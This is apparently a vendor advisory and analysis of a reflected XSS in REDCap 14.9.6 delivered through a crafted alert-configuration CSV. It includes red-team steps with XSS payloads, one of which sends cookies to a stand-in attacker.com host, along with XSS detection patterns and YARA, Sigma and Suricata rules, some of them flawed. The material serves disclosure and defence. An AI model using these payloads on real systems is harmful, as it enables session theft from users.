CVE-2025-23110

Executive Summary

CVE-2025-23110 is a reflected cross-site scripting (XSS) vulnerability affecting REDCap version 14.9.6. The flaw resides in the email-subject field during CSV upload of alert configurations. An attacker can craft a malicious CSV file containing an XSS payload in the email-subject column. When a victim uploads this file and subsequently clicks on the email-subject value displayed on the review page, the payload executes in the victim's browser context. The CVSS score is 6.1 (Medium), with a low EPSS probability of 0.0%. No official patch or exploit code is publicly available at this time.

Supply Chain & Package Security

REDCap is a web application typically deployed as a PHP-based system. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own CSV parsing and display logic. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – Victim must upload the CSV and click the email-subject value.
• Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the risk, but the lack of a patch and the potential for phishing campaigns make this a concern for REDCap deployments.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the context of CSV file processing. REDCap allows users to upload a CSV file containing alert configurations. The CSV includes an email-subject column. When the file is uploaded, the application parses the CSV and displays the data on a review page for the user to confirm. The email-subject value is rendered in the HTML without proper sanitization or encoding. If the value contains JavaScript (e.g., <script>alert(1)</script>), it is stored as a string in the page. When the user clicks on the displayed email-subject value (likely a link or clickable element), the browser executes the embedded script.

The attack flow:

1. Attacker crafts a CSV file with a malicious email-subject field: <img src=x onerror=alert(1)>
2. Attacker sends this CSV to a victim (e.g., via email or file share).
3. Victim logs into REDCap and uploads the CSV.
4. REDCap displays the uploaded data on a review page.
5. Victim clicks on the email-subject value.
6. The XSS payload executes in the victim's browser, potentially stealing session cookies, performing actions on behalf of the victim, or redirecting to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (REDCap 14.9.6): The application likely outputs the email-subject value directly into HTML without encoding. Example (pseudo-code):

echo "<a href='#' onclick='showAlert(\"$email_subject\")'>$email_subject</a>";

Here, $email_subject is not sanitized, allowing injection of JavaScript.

Patched Code (Hypothetical): The fix would involve proper output encoding using htmlspecialchars() or a templating engine that auto-escapes:

echo "<a href='#' onclick='showAlert(\"" . htmlspecialchars($email_subject, ENT_QUOTES, 'UTF-8') . "\")'>" . htmlspecialchars($email_subject, ENT_QUOTES, 'UTF-8') . "</a>";

Additionally, the CSV parsing should validate that the email-subject field does not contain HTML or script tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

• REDCap 14.9.6 instance (local or test environment)
• A valid REDCap user account (or ability to trick a user into uploading a CSV)
• A crafted CSV file

Exploitation Steps:

1. Create a CSV file with the following content (ensure proper CSV formatting):

alert_name,email-subject,email_body
Test Alert,<img src=x onerror=alert(document.cookie)>,This is a test

2. Send this CSV to the victim via email or file sharing.
3. Victim logs into REDCap and navigates to the alert configuration upload page.
4. Victim uploads the CSV file.
5. REDCap displays the review page. The email-subject column shows the payload.
6. Victim clicks on the email-subject value (e.g., the <img> tag).
7. The XSS payload executes, displaying the victim's cookies in an alert box.

Advanced Payload:

alert_name,email-subject,email_body
Test Alert,<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>,This is a test

Blue Team

Detection & Prevention:

• Monitor for CSV uploads containing suspicious patterns in the email-subject field (e.g., <script>, <img onerror=, javascript:).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use Web Application Firewall (WAF) rules to filter XSS payloads in uploaded files.
• Educate users not to click on untrusted links or upload files from unknown sources.

Lab Setup for Testing:

• Deploy REDCap 14.9.6 in a Docker container.
• Use a browser with developer tools to inspect the page after CSV upload.
• Simulate the attack with a harmless payload (e.g., <script>console.log('XSS')</script>).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to REDCap with POST to /redcap/api/ or similar endpoints containing CSV data.
  • Outbound connections from the victim's browser to attacker-controlled domains (e.g., attacker.com).
• File IOCs:
  • CSV files containing HTML/JavaScript in the email-subject column.
  • Suspicious strings: <script>, <img onerror=, onclick=, javascript:.
• Log IOCs:
  • REDCap access logs showing CSV uploads followed by unusual JavaScript execution.
  • Browser console errors related to CSP violations.

Detection Engineering

YARA Rule

rule CVE_2025_23110_XSS_CSV {
    meta:
        description = "Detects CSV files with XSS payloads in email-subject field for CVE-2025-23110"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23110"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /<img[^>]*onerror=/i
        $xss3 = /onclick\s*=\s*["']?javascript:/i
        $xss4 = /onload\s*=\s*["']?javascript:/i
        $csv_header = /email-subject/i
    condition:
        $csv_header and any of ($xss*)
}

Sigma Rule

title: CVE-2025-23110 - Reflected XSS via CSV Upload in REDCap
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSV uploads to REDCap containing XSS payloads in the email-subject field
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/redcap/'
        cs-uri-query|contains: 'upload'
        cs-uri-query|contains: 'csv'
    condition: selection
fields:
    - c-ip
    - cs-uri-query
    - cs-user-agent
falsepositives:
    - Legitimate CSV uploads with benign email-subject values
level: medium
tags:
    - attack.t1059.007
    - cve.2025.23110

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-23110 - REDCap XSS via CSV Upload"; flow:to_server,established; content:"POST"; http_method; content:"/redcap/"; http_uri; content:"upload"; http_uri; content:"csv"; http_uri; pcre:"/<script[^>]*>|<img[^>]*onerror=|onclick\s*=\s*['\"]?javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable CSV upload functionality for alert configurations until a patch is available.
2. Implement input validation on the server side to reject CSV files containing HTML/JavaScript in the email-subject field.
3. Apply output encoding using htmlspecialchars() or equivalent in all places where email-subject is displayed.
4. Deploy a Web Application Firewall (WAF) with rules to block XSS payloads in uploaded files.

Long-term Fix:

• Upgrade to a patched version of REDCap once released.
• Conduct a security audit of all CSV parsing and display functions.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Restrict CSV uploads to trusted users only.
• Manually review all uploaded CSV files before processing.

Valters IT